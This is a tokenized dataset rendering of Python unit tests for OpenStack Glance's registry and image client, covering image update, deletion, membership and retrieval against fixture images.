"\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "client_", "._", "update", "\\u", "image_", "(_", "UU", "ID", "2_", ",_", "fixture_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "image", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "non", " ", "exist", "ing", " ", "image", " ", "update", " ", "doe", "sn", "'", "t", " ", "work", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "bad", " ", "status", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "update", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "image_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "image", " ", "metadata", " ", "is", " ", "delete", "d", " ", "proper", "ly", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Grab", " ", "the", " ", "original", " ", "number", " ", "of", " ", "images_", "\\u\\u\\uNL\\u\\u\\u_", "orig", "\\u", "num", "\\u", "images_", "=_", "len_", "(_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Delete", " ", "image", " ", "#", "2_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "client_", "._", "delete", "\\u", "image_", "(_", "UU", "ID", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Verify", " ", "one", " ", "less", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "num", "\\u", "images_", "=_", "len_", "(_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "new", "\\u", "num", "\\u", "images_", ",_", "orig", "\\u", "num", "\\u", "images_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "image", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "cann", "ot", " ", "delete", " ", "non", "-", "exist", "ing", " ", "image", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "delete", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memb", "\\u", "list_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "members_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "members_", "=_", "len_", "(_", "memb", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "num", "\\u", "members_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "member", "s", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "non", "-", "exist", "ant", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "members_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "member", "\\u", "images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "member", " ", "images", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memb", "\\u", "list_", "=_", "self_", "._", "client_", "._", "get", "\\u", "member", "\\u", "images_", "(_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "members_", "=_", "len_", "(_", "memb", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "num", "\\u", "members_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "replace", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "repla", "cing", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Authorized", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "replace", "\\u", "members_", ",_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict_", "(_", "member", "\\u", "id_", "=_", "'", "patt", "ie", "black", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "member_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "addin", "g", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Authorized", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "member_", ",_", "UU", "ID", "2_", ",_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "member_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "delet", "ing", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Authorized", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "delete", "\\u", "member_", ",_", "UU", "ID", "2_", ",_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "proper", " ", "action", "s", " ", "made", " ", "for", " ", "bot", "h", " ", "valid", " ", "and", " ", "invalid", " ", "request", "s", "\\", "10", ";", " ", " ", " ", " ", "against", " ", "a", " ", "Glance", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\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u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Esta", "blis", "h", " ", "a", " ", "clean", " ", "test", " ", "environ", "ment", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Test", "Client_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "api_", "._", "configur", "e\\u", "db_", "(_", "self_", "._", "conf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "FIXTURE", "S_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "id", "'_", ":_", "UU", "ID", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d\\u", "at", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "13_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "%", "s", "/", "%", "s", "\"_", "%_", "(_", "self_", "._", "test\\u", "dir_", ",_", "UU", "ID", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "type", "'_", ":_", "'", "kernel", "'_", "}_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d\\u", "at", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "%", "s", "/", "%", "s", "\"_", "%_", "(_", "self_", "._", "test\\u", "dir_", ",_", "UU", "ID", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "context_", "=_", "rcon", "text_", "._", "Request", "Context_", "(_", "is", "\\u", "admin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "destroy", "\\u", "fixtures_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "create", "\\u", "fixtures_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clear", " ", "the", " ", "test", " ", "environ", "ment", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Test", "Client_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "destroy", "\\u", "fixtures_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "fixtures_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "fixture_", "in_", "self_", "._", "FIXTURE", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "write", " ", "a", " ", "fake", " ", "image", " ", "file", " ", "to", " ", "the", " ", "filesystem_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "\"%", "s", "/", "%", "s", "\"_", "%_", "(_", "self_", "._", "test\\u", "dir_", ",_", "fixture_", "[_", "'", "id", "'_", "]_", ")_", ",_", "'", "wb", "'_", ")_", "as_", "image_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image_", "._", "write_", "(_", "\"", "chunk", "00000", "remainder", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "destroy", "\\u", "fixtures_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Eas", "ies", "t", " ", "to", " ", "just", " ", "drop", " ", "the", " ", "model", "s", " ", "and", " ", "re", "-", "create", " ", "them", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "models_", "._", "unregister", "\\u", "models_", "(_", "db", "\\u", "api_", "._", "\\u", "ENGINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "models_", "._", "register", "\\u", "models_", "(_", "db", "\\u", "api_", "._", "\\u", "ENGINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "a", " ", "simple", " ", "file", " ", "back", "end", " ", "retrie", "val", " ", "works", " ", "as", " ", "expected", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "image_", "=_", "'", "chunk", "00000", "remainder", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "meta_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", ",_", "image", "\\u", "chunks_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "data_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image", "\\u", "chunk_", "in_", "image", "\\u", "chunks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "data_", "+=_", "image", "\\u", "chunk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "expected", "\\u", "image_", ",_", "image", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "expected", "\\u", "meta_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "meta_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "retrie", "val", " ", "of", " ", "a", " ", "non", "-", "exist", "ing", " ", "image", " ", "return", "s", " ", "a", " ", "404", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "sort", "\\u", "container", "\\u", "format\\u", "desc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "client", " ", "return", "s", " ", "list", " ", "of", " ", "public", " ", "images", "\\", "10", ";", " ", " ", " ", " ", "sorte", "d", " ", "alphabetic", "ally", " ", "by", " ", "container", "\\u", "format", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "descend", "ing", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", 